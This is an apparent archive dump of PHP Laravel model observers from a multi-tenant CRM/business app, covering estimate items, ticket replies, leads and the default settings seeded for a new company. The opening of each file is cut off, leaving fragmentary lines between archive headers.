$fileName); $estimateTemplateItemImage->filename = $fileOrgName->filename; $estimateTemplateItemImage->hashname = $fileName; } if (isset($invoice_item_image[$key])) { $filename = Files::uploadLocalOrS3($invoice_item_image[$key], EstimateTemplateItemImage::FILE_PATH . '/' . $estimateTemplateItem->id . '/'); $estimateTemplateItemImage->filename = $invoice_item_image[$key]->getClientOriginalName(); $estimateTemplateItemImage->hashname = $filename; $estimateTemplateItemImage->size = $invoice_item_image[$key]->getSize(); } $estimateTemplateItemImage->external_link = isset($invoice_item_image[$key]) ? null : (isset($invoice_item_image_url[$key]) ? $invoice_item_image_url[$key] : null); $estimateTemplateItemImage->save(); } } } } } /** * @throws RelatedResourceNotFoundException */ public function updated(EstimateTemplate $estimate) { if (!isRunningInConsoleOrSeeding()) { /* Step1 - Delete all invoice items which are not avaialable Step2 - Find old invoices items, update it and check if images are newer or older Step3 - Insert new invoices items with images */ $request = request(); $items = $request->item_name; $itemsSummary = $request->item_summary; $hsn_sac_code = $request->hsn_sac_code; $tax = $request->taxes; $quantity = $request->quantity; $cost_per_item = $request->cost_per_item; $amount = $request->amount; $estimate_item_image = $request->invoice_item_image; $estimate_item_image_url = $request->invoice_item_image_url; $item_ids = $request->item_ids; $unitId = request()->unit_id; $productId = request()->product_id; if (!empty($request->item_name) && is_array($request->item_name)) { // Step1 - Delete all invoice items which are not avaialable if (!empty($item_ids)) { EstimateTemplateItem::whereNotIn('id', $item_ids)->where('estimate_template_id', $estimate->id)->delete(); } // Step2&3 - Find old invoices items, update it and check if images are newer or older foreach ($items as $key => $item) { $invoice_item_id = isset($item_ids[$key]) ? $item_ids[$key] : 0; $estimateTemplateItem = EstimateTemplateItem::find($invoice_item_id); if ($estimateTemplateItem === null) { $estimateTemplateItem = new EstimateTemplateItem(); } $estimateTemplateItem->estimate_template_id = $estimate->id; $estimateTemplateItem->company_id = $estimate->company_id; $estimateTemplateItem->item_name = $item; $estimateTemplateItem->item_summary = $itemsSummary[$key]; $estimateTemplateItem->type = 'item'; $estimateTemplateItem->unit_id = (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null; $estimateTemplateItem->product_id = (isset($productId[$key]) && !is_null($productId[$key])) ? $productId[$key] : null; $estimateTemplateItem->hsn_sac_code = (isset($hsn_sac_code[$key]) && !is_null($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null; $estimateTemplateItem->quantity = $quantity[$key]; $estimateTemplateItem->unit_price = round($cost_per_item[$key], 2); $estimateTemplateItem->amount = round($amount[$key], 2); $estimateTemplateItem->taxes = ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null); $estimateTemplateItem->save(); /* Invoice file save here */ // phpcs:ignore if ((isset($estimate_item_image[$key]) && $request->hasFile('invoice_item_image.' . $key)) || isset($estimate_item_image_url[$key])) { $estimateTemplateItemImage = EstimateTemplateItemImage::where('estimate_template_item_id', $estimateTemplateItem->id)->firstOrNew(); if ($estimateTemplateItemImage) { $estimateTemplateItemImage->estimate_template_item_id = $estimateTemplateItem->id; $estimateTemplateItemImage->company_id = $estimateTemplateItem->company_id; } /* Delete previous uploaded file if it not a product (because product images cannot be deleted) */ if (!isset($estimate_item_image_url[$key]) && $estimateTemplateItem && $estimateTemplateItem->estimateTemplateItemImage) { Files::deleteFile($estimateTemplateItem->estimateTemplateItemImage->hashname, EstimateTemplateItemImage::FILE_PATH . '/' . $estimateTemplateItem->id . '/'); } if (isset($estimate_item_image[$key])) { $filename = Files::uploadLocalOrS3($estimate_item_image[$key], EstimateTemplateItemImage::FILE_PATH . '/' . $estimateTemplateItem->id . '/'); $estimateTemplateItemImage->filename = $estimate_item_image[$key]->getClientOriginalName(); $estimateTemplateItemImage->hashname = $filename; $estimateTemplateItemImage->size = $estimate_item_image[$key]->getSize(); } $estimateTemplateItemImage->external_link = isset($estimate_item_image[$key]) ? null : ($estimate_item_image_url[$key] ?? null); $estimateTemplateItemImage->save(); } } } } } } Observers/UniversalSearchObserver.php000064400000000372150325104510014033 0ustar00company_id = company()->id; } } } Observers/CompanyAddressObserver.php000064400000001073150325104510013650 0ustar00company_id = company()->id; } } public function deleting(CompanyAddress $model){ $companyAddress = CompanyAddress::where('is_default', 1)->where('company_id', company()->id)->first(); EmployeeDetails::where('company_address_id', $model->id)->update(['company_address_id' => $companyAddress->id]); } } Observers/ContractSignObserver.php000064400000000361150325104510013331 0ustar00company_id = company()->id; } } } Observers/WeeklyTimeSheetObserver.php000064400000000416150325104510014004 0ustar00company_id = company()->id; } } } Observers/TicketReplyObserver.php000064400000010670150325104510013176 0ustar00ticket->agent_id)) { $ticket = $ticketReply->ticket; $ticket->added_by = user()->id; $ticket->save(); } } public function created(TicketReply $ticketReply) { $ticketReply->ticket->touch(); $ticketEmailSetting = TicketEmailSetting::where('company_id', $ticketReply->ticket->company_id)->first(); if (isRunningInConsoleOrSeeding()) { return true; } if ($ticketEmailSetting->status == 1) { if (!is_null($ticketReply->ticket->agent_id)) { if ($ticketReply->ticket->agent_id == user()->id) { $toEmail = $ticketReply->ticket->client->email; } else { $toEmail = $ticketReply->ticket->agent->email; } if (smtp_setting()->mail_connection == 'database') { Mail::to($toEmail)->queue(new MailTicketReply($ticketReply, $ticketEmailSetting)); } else { Mail::to($toEmail)->send(new MailTicketReply($ticketReply, $ticketEmailSetting)); } } else if (!in_array('client', user_roles())) { $toEmail = $ticketReply->ticket->client->email; if (smtp_setting()->mail_connection == 'database') { Mail::to($toEmail)->queue(new MailTicketReply($ticketReply, $ticketEmailSetting)); } else { Mail::to($toEmail)->send(new MailTicketReply($ticketReply, $ticketEmailSetting)); } } } if ($ticketReply->type == 'note') { $ticketReplyUsers = User::whereIn('id', request()->user_id)->get(); } $message = trim_editor($ticketReply->message); if ($message != '') { if (count($ticketReply->ticket->reply) > 1) { if (!is_null($ticketReply->ticket->agent)) { if ($ticketReply->type == 'note') { event(new TicketReplyEvent($ticketReply, $ticketReply->ticket->agent, $ticketReplyUsers)); } else { event(new TicketReplyEvent($ticketReply, $ticketReply->ticket->agent, null)); } if ($ticketReply->type != 'note') { event(new TicketReplyEvent($ticketReply, $ticketReply->ticket->client, null)); } } else if (is_null($ticketReply->ticket->agent)) { event(new TicketReplyEvent($ticketReply, null, null)); event(new TicketReplyEvent($ticketReply, $ticketReply->ticket->client, null)); } else { event(new TicketReplyEvent($ticketReply, $ticketReply->ticket->client, null)); } $ticketActivity = new TicketActivity(); $ticketActivity->ticket_id = $ticketReply->ticket->id; $ticketActivity->user_id = $ticketReply->user_id; $ticketActivity->assigned_to = $ticketReply->ticket->agent_id; $ticketActivity->channel_id = $ticketReply->ticket->channel_id; $ticketActivity->group_id = $ticketReply->ticket->group_id; $ticketActivity->type_id = $ticketReply->ticket->type_id; $ticketActivity->status = $ticketReply->ticket->status; $ticketActivity->priority = $ticketReply->ticket->priority; $ticketActivity->type = $ticketReply->type == 'reply' ? 'reply' : 'note'; $ticketActivity->save(); } } } public function deleting(TicketReply $ticketReply) { $ticketReply->files()->each(function ($file) { Files::deleteFile($file->hashname, 'ticket-files/' . $file->ticket_reply_id); $file->delete(); }); Files::deleteDirectory(TicketFile::FILE_PATH . '/' . $ticketReply->id); } } Observers/RemovalRequestObserver.php000064400000001650150325104510013713 0ustar00user) { event(new RemovalRequestApproveRejectEvent($removal)); } } catch (Exception $e) { Log::info($e); } } } public function creating(RemovalRequest $model) { if (company()) { $model->company_id = company()->id; } } } Observers/LanguageSettingObserver.php000064400000001310150325104510014007 0ustar00forget('language_setting'); cache()->forget('language_setting_' . $model->language_code); return $model; } public function updated(LanguageSetting $model) { cache()->forget('language_setting'); cache()->forget('language_setting_' . $model->language_code); return $model; } public function deleted(LanguageSetting $model) { cache()->forget('language_setting'); cache()->forget('language_setting_' . $model->language_code); return $model; } } Observers/RemovalRequestLeadObserver.php000064400000001726150325104510014505 0ustar00lead) { event(new RemovalRequestApprovedRejectLeadEvent($removal)); } } catch (Exception $e) { Log::info($e); } } } public function creating(RemovalRequestLead $model) { if (company()) { $model->company_id = company()->id; } } } Observers/LeadObserver.php000064400000004123150325104510011600 0ustar00id : null; $lead->last_updated_by = $userID; } } public function creating(Lead $leadContact) { $leadContact->hash = md5(microtime()); if (!isRunningInConsoleOrSeeding()) { if (request()->has('added_by')) { $leadContact->added_by = request('added_by'); } else { $userID = (!is_null(user())) ? user()->id : null; $leadContact->added_by = $userID; } } if (company()) { $leadContact->company_id = company()->id; } } public function created(Lead $leadContact) { if (!isRunningInConsoleOrSeeding()) { if (!session()->has('is_imported')) { event(new LeadEvent($leadContact, 'NewLeadCreated')); }else{ // info('leads_count:' . session('leads_count')); // info('total_leads:' . session('total_leads')); if (session('leads_count') == (session('total_leads'))) { info('check'); $admins = User::allAdmins(company()->id); Notification::send($admins, new LeadImported()); } } } } public function deleting(Lead $leadContact) { $notifyData = ['App\Notifications\LeadAgentAssigned', 'App\Notifications\NewDealCreated', 'App\Notifications\NewLeadCreated', 'App\Notifications\LeadImported']; \App\Models\Notification::deleteNotification($notifyData, $leadContact->id); } public function deleted(Lead $leadContact) { UniversalSearch::where('searchable_id', $leadContact->id)->where('module_type', 'lead')->delete(); } } Observers/LeadPipelineObserver.php000064400000002442150325104510013270 0ustar00company_id = company()->id; } $pipeline->slug = Str::slug($pipeline->name, '-'); } public function created(LeadPipeline $pipeline) { if (company()) { $pipelineStages = [ ['name' => 'Generated', 'slug' => 'generated', 'lead_pipeline_id' => $pipeline->id, 'priority' => 1, 'default' => 1, 'label_color' => '#FFE700', 'company_id' => company()->id], ['name' => 'On going', 'slug' => 'on-going', 'lead_pipeline_id' => $pipeline->id, 'priority' => 2, 'default' => 0, 'label_color' => '#009EFF', 'company_id' => company()->id], ['name' => 'Win', 'slug' => 'win', 'lead_pipeline_id' => $pipeline->id, 'priority' => 3, 'default' => 0, 'label_color' => '#1FAE07', 'company_id' => company()->id], ['name' => 'Lost', 'slug' => 'lost', 'lead_pipeline_id' => $pipeline->id, 'priority' => 4, 'default' => 0, 'label_color' => '#DB1313', 'company_id' => company()->id] ]; PipelineStage::insert($pipelineStages); } } } Observers/LogTimeForObserver.php000064400000000365150325104510012746 0ustar00company_id = company()->id; } } } Observers/DiscussionCategoryObserver.php000064400000000403150325104510014551 0ustar00company_id = company()->id; } } } Observers/GlobalSettingObserver.php000064400000000746150325104510013500 0ustar00forget('global_setting'); return $model; } public function updated(GlobalSetting $model) { cache()->forget('global_setting'); return $model; } public function deleted(GlobalSetting $model) { cache()->forget('global_setting'); return $model; } } Observers/CompanyObserver.php000064400000072642150325104510012354 0ustar00copyFromGlobalSettings($company); $this->dateFormats($company); $this->storeHeaders($company); $company->leaves_start_from = 'year_start'; } private function copyFromGlobalSettings($company) { $globalSetting = global_setting(); $company->hash = md5(microtime()); $company->logo_background_color = $globalSetting->logo_background_color == null ? '#ffffff' : $globalSetting->logo_background_color; $company->header_color = $globalSetting->header_color; $company->login_background = $globalSetting->login_background; $company->sidebar_logo_style = $globalSetting->sidebar_logo_style; $company->auth_theme = $globalSetting->auth_theme; $company->auth_theme_text = $globalSetting->auth_theme_text; $company->light_logo = $globalSetting->light_logo; $company->favicon = $globalSetting->favicon; $company->datatable_row_limit = $globalSetting->datatable_row_limit; $company->time_format = $globalSetting->time_format; $company->date_format = $globalSetting->date_format; $company->locale = $globalSetting->locale; $company->logo = $globalSetting->logo; return $company; } public function saving(Company $company) { $user = user(); if ($user) { $company->last_updated_by = $user->id; } if ($company->isDirty('date_format')) { $this->dateFormats($company); } if ($company->isDirty('currency_id')) { (new CurrencySettingController())->updateExchangeRates(); } if (!isRunningInConsoleOrSeeding() && $company->isDirty('currency_id') && !is_null(user())) { $allClients = User::allClients(); $clientsArray = $allClients->pluck('id')->toArray(); $appSettings = new AppSettingController(); $appSettings->deleteSessions($clientsArray); } // IsRunningInConsoleOrSeeding is added to prevent running seeder // for the case of running company migration before having global_settings table if ($company->id === 1 && isWorksuite() && !isRunningInConsoleOrSeeding()) { $global = GlobalSetting::first(); $global->email = $company->company_email; $global->global_app_name = $company->app_name; $global->logo_background_color = $company->logo_background_color; $global->header_color = $company->header_color; $global->login_background = $company->login_background; $global->sidebar_logo_style = $company->sidebar_logo_style; $global->auth_theme = $company->auth_theme; $global->auth_theme_text = $company->auth_theme_text; $global->light_logo = $company->light_logo; $global->favicon = $company->favicon; $global->logo = $company->logo; $global->datatable_row_limit = $company->datatable_row_limit; $global->timezone = $company->timezone; $global->saveQuietly(); } session()->forget(['company', 'company.*', 'company.currency', 'company.paymentGatewayCredentials']); cache()->forget('global_setting'); } //phpcs:ignore public function created(Company $company) { $this->currencies($company); $this->companyAddress($company); $this->roles($company); $this->employeeShift($company); $this->attendanceSetting($company); $this->customFieldGroup($company); $this->dashboardWidgets($company); $this->discussionCategory($company); $this->emailNotificationSettings($company); $this->invoiceSetting($company); $this->leadCustomForms($company); $this->leadSources($company); $this->leaveType($company); $this->logTimeFor($company); $this->messageSetting($company); $this->projectSetting($company); $this->slackSetting($company); $this->ticketChannel($company); $this->ticketType($company); $this->ticketSettingForAgents($company); $this->customForms($company); $this->taskBoard($company); $this->projectStatusSettings($company); $company->paymentGatewayCredentials()->create(); $company->taskSetting()->create(); $company->leaveSetting()->create(); $this->dateFormats($company); $this->moduleSettings($company); $this->themeSetting($company); $this->ticketEmailSetting($company); $this->googleCalendar($company); $this->unitType($company); $this->leadStages($company); // Will be used in various module event(new NewCompanyCreatedEvent($company)); } public function deleting(Company $company) { if ($company->fileStorage->isNotEmpty()) { foreach ($company->fileStorage as $files) { Files::deleteFile($files->filename, $files->path); } } } public function currencies($company) { $currency = new Currency(); $currency->currency_name = 'Dollars'; $currency->currency_symbol = '$'; $currency->currency_code = 'USD'; $currency->exchange_rate = 1; $currency->currency_position = 'left'; $currency->no_of_decimal = 2; $currency->thousand_separator = ','; $currency->decimal_separator = '.'; $currency->company()->associate($company); $currency->saveQuietly(); // Save First currency to company default currency $company->currency_id = $currency->id; $company->saveQuietly(); $currency = new Currency(); $currency->currency_name = 'Pounds'; $currency->currency_symbol = '£'; $currency->currency_code = 'GBP'; $currency->exchange_rate = 1; $currency->currency_position = 'left'; $currency->no_of_decimal = 2; $currency->thousand_separator = ','; $currency->decimal_separator = '.'; $currency->company()->associate($company); $currency->saveQuietly(); $currency = new Currency(); $currency->currency_name = 'Euros'; $currency->currency_symbol = '€'; $currency->currency_code = 'EUR'; $currency->exchange_rate = 1; $currency->currency_position = 'left'; $currency->no_of_decimal = 2; $currency->thousand_separator = ','; $currency->decimal_separator = '.'; $currency->company()->associate($company); $currency->saveQuietly(); $currency = new Currency(); $currency->currency_name = 'Rupee'; $currency->currency_symbol = '₹'; $currency->currency_code = 'INR'; $currency->exchange_rate = 1; $currency->currency_position = 'left'; $currency->no_of_decimal = 2; $currency->thousand_separator = ','; $currency->decimal_separator = '.'; $currency->company()->associate($company); $currency->saveQuietly(); } public function employeeShift($company) { $employeeShift = new EmployeeShift(); $employeeShift->shift_name = 'Day Off'; $employeeShift->company_id = $company->id; $employeeShift->shift_short_code = 'DO'; $employeeShift->color = '#E8EEF3'; $employeeShift->office_start_time = '00:00:00'; $employeeShift->halfday_mark_time = '00:00:00'; $employeeShift->office_end_time = '00:00:00'; $employeeShift->late_mark_duration = 0; $employeeShift->clockin_in_day = 0; $employeeShift->office_open_days = ''; $employeeShift->saveQuietly(); $employeeShift = new EmployeeShift(); $employeeShift->shift_name = 'General Shift'; $employeeShift->company_id = $company->id; $employeeShift->shift_short_code = 'GS'; $employeeShift->color = '#99C7F1'; $employeeShift->office_start_time = '09:00:00'; $employeeShift->halfday_mark_time = '13:00:00'; $employeeShift->office_end_time = '18:00:00'; $employeeShift->late_mark_duration = 20; $employeeShift->clockin_in_day = 2; $employeeShift->office_open_days = '["1","2","3","4","5"]'; $employeeShift->saveQuietly(); } public function attendanceSetting($company) { $setting = new AttendanceSetting(); $setting->company_id = $company->id; $setting->office_start_time = '09:00:00'; $setting->halfday_mark_time = '13:00:00'; $setting->office_end_time = '18:00:00'; $setting->late_mark_duration = 20; $setting->default_employee_shift = EmployeeShift::where('company_id', $company->id)->where('shift_name', '<>', 'Day Off')->first()->id; $setting->alert_after_status = 0; $setting->saveQuietly(); } public function customFieldGroup($company) { $fields = CustomFieldGroup::ALL_FIELDS; array_walk($fields, function (&$a) use ($company) { $a['company_id'] = $company->id; }); CustomFieldGroup::insert($fields); } public function dashboardWidgets($company) { $widgets = DashboardWidget::WIDGETS; array_walk($widgets, function (&$a) use ($company) { $a['company_id'] = $company->id; }); DashboardWidget::insert($widgets); } public function discussionCategory($company) { DiscussionCategory::create([ 'name' => 'General', 'color' => '#3498DB', 'company_id' => $company->id ]); } public function emailNotificationSettings($company) { $notifications = EmailNotificationSetting::NOTIFICATIONS; array_walk($notifications, function (&$a) use ($company) { $a['company_id'] = $company->id; }); EmailNotificationSetting::insert($notifications); } public function invoiceSetting($company) { InvoiceSetting::create([ 'company_id' => $company->id, 'credit_note_digit' => 3, 'credit_note_prefix' => 'CN', 'credit_note_number_separator' => '#', 'due_after' => 15, 'estimate_digit' => 3, 'estimate_prefix' => 'EST', 'estimate_number_separator' => '#', 'estimate_terms' => null, 'gst_number' => null, 'hsn_sac_code_show' => 0, 'invoice_digit' => 3, 'invoice_prefix' => 'INV', 'invoice_number_separator' => '#', 'invoice_terms' => 'Thank you for your business.', 'locale' => 'en', 'logo' => null, 'reminder' => null, 'send_reminder' => 0, 'send_reminder_after' => 0, 'show_client_company_address' => 'yes', 'show_client_company_name' => 'yes', 'show_client_email' => 'yes', 'show_client_name' => 'yes', 'show_client_phone' => 'yes', 'show_gst' => 'no', 'show_project' => 0, 'tax_calculation_msg' => 0, 'template' => 'invoice-5', ]); QuickBooksSetting::create(['status' => 0, 'company_id' => $company->id]); } public function leadCustomForms($company) { $data = LeadCustomForm::FORM_FIELDS; array_walk($data, function (&$a) use ($company) { $a['company_id'] = $company->id; }); LeadCustomForm::insert($data); } public function leadSources($company) { $sources = [ ['type' => __('app.email'), 'company_id' => $company->id], ['type' => __('app.google'), 'company_id' => $company->id], ['type' => __('app.facebook'), 'company_id' => $company->id], ['type' => __('app.friend'), 'company_id' => $company->id], ['type' => __('app.direct'), 'company_id' => $company->id], ['type' => __('app.tv'), 'company_id' => $company->id] ]; LeadSource::insert($sources); $status = [ ['type' => 'pending', 'priority' => 1, 'default' => 1, 'label_color' => '#FFE700', 'company_id' => $company->id], ['type' => 'in process', 'priority' => 2, 'default' => 0, 'label_color' => '#009EFF', 'company_id' => $company->id], ['type' => 'done', 'priority' => 3, 'default' => 0, 'label_color' => '#1FAE07', 'company_id' => $company->id] ]; LeadStatus::insert($status); } public function leadStages($company) { $pipeline = new LeadPipeline(); $pipeline->name = 'Sales Pipeline'; $pipeline->company_id = $company->id; $pipeline->label_color = '#009EFF'; $pipeline->default = 1; $pipeline->priority = 1; $pipeline->save(); $pipelineStages = [ ['name' => 'Generated', 'slug' => 'generated', 'lead_pipeline_id' => $pipeline->id, 'priority' => 1, 'default' => 1, 'label_color' => '#FFD700', 'company_id' => $company->id], ['name' => 'Qualified', 'slug' => 'qualified', 'lead_pipeline_id' => $pipeline->id, 'priority' => 2, 'default' => 0, 'label_color' => '#009EFF', 'company_id' => $company->id], ['name' => 'Initial Contact', 'slug' => 'initial-contact', 'lead_pipeline_id' => $pipeline->id, 'priority' => 3, 'default' => 0, 'label_color' => '#00CED1', 'company_id' => $company->id], ['name' => 'Schedule Appointment', 'slug' => 'schedule-appointment', 'lead_pipeline_id' => $pipeline->id, 'priority' => 4, 'default' => 0, 'label_color' => '#32CD32', 'company_id' => $company->id], ['name' => 'Proposal Sent', 'slug' => 'proposal-sent', 'lead_pipeline_id' => $pipeline->id, 'priority' => 5, 'default' => 0, 'label_color' => '#FFA07A', 'company_id' => $company->id], ['name' => 'Win', 'slug' => 'win', 'lead_pipeline_id' => $pipeline->id, 'priority' => 6, 'default' => 0, 'label_color' => '#1FAE07', 'company_id' => $company->id], ['name' => 'Lost', 'slug' => 'lost', 'lead_pipeline_id' => $pipeline->id, 'priority' => 7, 'default' => 0, 'label_color' => '#DB1313', 'company_id' => $company->id] ]; PipelineStage::insert($pipelineStages); return $pipeline; } public function leaveType($company) { $gender = ['male', 'female', 'others']; $maritalStatus = MaritalStatus::toArray(); $roles = Role::where('name', '<>', 'client')->where('company_id', $company->id)->pluck('id')->toArray(); $currentTimestamp = now(); $status = [ [ 'type_name' => 'Casual', 'color' => '#16813D', 'company_id' => $company->id, 'gender' => json_encode($gender), 'marital_status' => json_encode($maritalStatus), 'role' => json_encode($roles), 'unused_leave' => 'carry forward', 'leavetype' => 'yearly', 'created_at' => $currentTimestamp, ], [ 'type_name' => 'Sick', 'color' => '#DB1313', 'company_id' => $company->id, 'gender' => json_encode($gender), 'marital_status' => json_encode($maritalStatus), 'role' => json_encode($roles), 'unused_leave' => 'carry forward', 'leavetype' => 'yearly', 'created_at' => $currentTimestamp, ], [ 'type_name' => 'Earned', 'color' => '#B078C6', 'company_id' => $company->id, 'gender' => json_encode($gender), 'marital_status' => json_encode($maritalStatus), 'role' => json_encode($roles), 'unused_leave' => 'carry forward', 'leavetype' => 'yearly', 'created_at' => $currentTimestamp, ], ]; LeaveType::insert($status); } public function logTimeFor($company) { $logTimeFor = new LogTimeFor(); $logTimeFor->company_id = $company->id; $logTimeFor->log_time_for = 'project'; $logTimeFor->saveQuietly(); } public function messageSetting($company) { $setting = new MessageSetting(); $setting->company_id = $company->id; $setting->allow_client_admin = 'no'; $setting->allow_client_employee = 'no'; $setting->saveQuietly(); } public function projectSetting($company) { $project_setting = new ProjectSetting(); $project_setting->company_id = $company->id; $project_setting->send_reminder = 'no'; $project_setting->remind_time = 5; $project_setting->remind_type = 'days'; $project_setting->saveQuietly(); } public function slackSetting($company) { $slack = new SlackSetting(); $slack->company_id = $company->id; $slack->slack_webhook = null; $slack->slack_logo = null; $slack->saveQuietly(); } public function ticketChannel($company) { $channels = [ ['channel_name' => 'Email', 'company_id' => $company->id], ['channel_name' => 'Phone', 'company_id' => $company->id], ['channel_name' => 'Twitter', 'company_id' => $company->id], ['channel_name' => 'Facebook', 'company_id' => $company->id] ]; TicketChannel::insert($channels); } public function ticketType($company) { $types = [ ['type' => 'Bug', 'company_id' => $company->id], ['type' => 'Suggestion', 'company_id' => $company->id], ['type' => 'Question', 'company_id' => $company->id], ['type' => 'Sales', 'company_id' => $company->id], ['type' => 'Code', 'company_id' => $company->id], ['type' => 'Management', 'company_id' => $company->id], ['type' => 'Problem', 'company_id' => $company->id], ['type' => 'Incident', 'company_id' => $company->id], ['type' => 'Feature Request', 'company_id' => $company->id], ]; TicketType::insert($types); } public function ticketSettingForAgents($company) { $types = [ ['ticket_scope' => 'assigned_tickets', 'company_id' => $company->id], ]; TicketSettingForAgents::insert($types); } public function customForms($company) { $fields = ['Name', 'Email', 'Ticket Subject', 'Ticket Description', 'Type', 'Priority', 'Assign Group']; $fieldsName = ['name', 'email', 'ticket_subject', 'ticket_description', 'type', 'priority', 'assign_group']; $fieldsType = ['text', 'text', 'text', 'textarea', 'select', 'select', 'select']; foreach ($fields as $key => $value) { TicketCustomForm::create([ 'field_display_name' => $value, 'field_name' => $fieldsName[$key], 'field_order' => $key + 1, 'field_type' => $fieldsType[$key], 'company_id' => $company->id, ]); } } public function companyAddress($company) { try { $company->companyAddress()->create([ 'address' => $company->address ?? $company->company_name, 'location' => $company->company_name ?? 'Jaipur, India', 'is_default' => 1, 'company_id' => $company->id, ]); // Incase any exception comes } catch (\Exception $exception) { $company->companyAddress()->create([ 'address' => 'First Address', 'location' => $company->company_name ?? 'Jaipur, India', 'is_default' => 1, 'company_id' => $company->id, ]); } } public function roles($company): void { $adminRole = new Role(); $adminRole->name = 'admin'; $adminRole->company_id = $company->id; $adminRole->display_name = 'App Administrator'; // optional $adminRole->description = 'Admin is allowed to manage everything of the app.'; // optional $adminRole->saveQuietly(); $employeeRole = new Role(); $employeeRole->name = 'employee'; $employeeRole->company_id = $company->id; $employeeRole->display_name = 'Employee'; // optional $employeeRole->description = 'Employee can see tasks and projects assigned to him.'; // optional $employeeRole->saveQuietly(); $clientRole = new Role(); $clientRole->name = 'client'; $clientRole->company_id = $company->id; $clientRole->display_name = 'Client'; // optional $clientRole->description = 'Client can see own tasks and projects.'; // optional $clientRole->saveQuietly(); $allPermissions = Permission::all(); // DELETE ALL PERMISSION ROLE OF ABOVE ROLES IF ANY PermissionRole::whereIn('role_id', [$adminRole->id, $employeeRole->id, $clientRole->id])->delete(); $rolePermissionController = new RolePermissionController(); $rolePermissionController->permissionRole($allPermissions, 'employee', $company->id); $rolePermissionController->rolePermissionInsert($allPermissions, $adminRole->id, 'all'); $rolePermissionController->permissionRole($allPermissions, 'client', $company->id); } public function taskBoard($company): void { $columns = [ ['column_name' => 'Incomplete', 'label_color' => '#d21010', 'priority' => 1, 'slug' => str_slug('Incomplete', '_'), 'company_id' => $company->id], ['column_name' => 'To Do', 'label_color' => '#f5c308', 'priority' => 2, 'slug' => str_slug('To Do', '_'), 'company_id' => $company->id], ['column_name' => 'Doing', 'label_color' => '#00b5ff', 'priority' => 3, 'slug' => str_slug('Doing', '_'), 'company_id' => $company->id], ['column_name' => 'Completed', 'label_color' => '#679c0d', 'priority' => 4, 'slug' => str_slug('Completed', '_'), 'company_id' => $company->id], ['column_name' => 'Waiting Approval', 'label_color' => '#000', 'priority' => 5, 'slug' => str_slug('Waiting Approval', '_'), 'company_id' => $company->id], ]; TaskboardColumn::insert($columns); $board = TaskboardColumn::where('slug', 'incomplete') ->where('company_id', $company->id) ->first(); $company->default_task_status = $board->id; $company->saveQuietly(); } public function projectStatusSettings($company): void { $columns = ProjectStatusSetting::COLUMNS; array_walk($columns, function (&$a) use ($company) { $a['company_id'] = $company->id; }); ProjectStatusSetting::insert($columns); } public function dateFormats($company): void { switch ($company->date_format) { case 'm-d-Y': $company->date_picker_format = 'mm-dd-yyyy'; $company->moment_format = 'MM-DD-YYYY'; break; case 'Y-m-d': $company->date_picker_format = 'yyyy-mm-dd'; $company->moment_format = 'YYYY-MM-DD'; break; case 'd.m.Y': $company->date_picker_format = 'dd.mm.yyyy'; $company->moment_format = 'DD.MM.YYYY'; break; case 'm.d.Y': $company->date_picker_format = 'mm.dd.yyyy'; $company->moment_format = 'MM.DD.YYYY'; break; case 'Y.m.d': $company->date_picker_format = 'yyyy.mm.dd'; $company->moment_format = 'YYYY.MM.DD'; break; case 'd/m/Y': $company->date_picker_format = 'dd/mm/yyyy'; $company->moment_format = 'DD/MM/YYYY'; break; case 'Y/m/d': $company->date_picker_format = 'yyyy/mm/dd'; $company->moment_format = 'YYYY/MM/DD'; break; case 'd-M-Y': $company->date_picker_format = 'dd-M-yyyy'; $company->moment_format = 'DD-MMM-YYYY'; break; case 'd/M/Y': $company->date_picker_format = 'dd/M/yyyy'; $company->moment_format = 'DD/MMM/YYYY'; break; case 'd.M.Y': $company->date_picker_format = 'dd.M.yyyy'; $company->moment_format = 'DD.MMM.YYYY'; break; case 'd M Y': $company->date_picker_format = 'dd M yyyy'; $company->moment_format = 'DD MMM YYYY'; break; case 'd F, Y': $company->date_picker_format = 'dd MM, yyyy'; $company->moment_format = 'yyyy-mm-d'; break; case 'd D M Y': $company->date_picker_format = 'dd D M yyyy'; $company->moment_format = 'DD ddd MMM YYYY'; break; case 'D d M Y': $company->date_picker_format = 'D dd M yyyy'; $company->moment_format = 'ddd DD MMMM YYYY'; break; default: $company->date_picker_format = 'dd-mm-yyyy'; $company->moment_format = 'DD-MM-YYYY'; break; } } public function moduleSettings($company): void { $data = [ 'admin' => [ ...ModuleSetting::CLIENT_MODULES, ...ModuleSetting::OTHER_MODULES ], 'employee' => [ ...ModuleSetting::CLIENT_MODULES, ...ModuleSetting::OTHER_MODULES ], 'client' => [ ...ModuleSetting::CLIENT_MODULES ] ]; $moduleSettings = []; $existingModuleSettings = ModuleSetting::where('company_id', $company->id)->get(); foreach ($data as $type => $moduleList) { foreach ($moduleList as $module) { $existingModuleSetting = $existingModuleSettings->where('type', $type)->where('module_name', $module)->first(); if ($existingModuleSetting) { $existingModuleSetting->update([ 'status' => 'active' ]); continue; } $moduleSettings[] = [ 'company_id' => $company->id, 'type' => $type, 'module_name' => $module, 'status' => 'active', ]; } } ModuleSetting::insert($moduleSettings); } public function themeSetting($company): void { $headerColor = '#1d82f5'; $sidebarColor = '#171F29'; $sidebarTextColor = '#99A5B5'; $linkColor = '#F7FAFF'; $themeSettings = [ ['panel' => 'admin', 'company_id' => $company->id, 'header_color' => $headerColor, 'sidebar_color' => $sidebarColor, 'sidebar_text_color' => $sidebarTextColor, 'link_color' => $linkColor], ['panel' => 'project_admin', 'company_id' => $company->id, 'header_color' => $headerColor, 'sidebar_color' => $sidebarColor, 'sidebar_text_color' => $sidebarTextColor, 'link_color' => $linkColor], ['panel' => 'employee', 'company_id' => $company->id, 'header_color' => $headerColor, 'sidebar_color' => $sidebarColor, 'sidebar_text_color' => $sidebarTextColor, 'link_color' => $linkColor], ['panel' => 'client', 'company_id' => $company->id, 'header_color' => $headerColor, 'sidebar_color' => $sidebarColor, 'sidebar_text_color' => $sidebarTextColor, 'link_color' => $linkColor], ]; ThemeSetting::insert($themeSettings); } public function ticketEmailSetting($company): void { $setting = new TicketEmailSetting(); $setting->company_id = $company->id; $setting->saveQuietly(); } public function googleCalendar($company): void { $module = new GoogleCalendarModule(); $module->company_id = $company->id; $module->lead_status = 0; $module->leave_status = 0; $module->invoice_status = 0; $module->contract_status = 0; $module->task_status = 0; $module->event_status = 0; $module->holiday_status = 0; $module->saveQuietly(); } public function unitType($company): void { $unitTypes = ['unit_type' => 'Pcs', 'default' => 1, 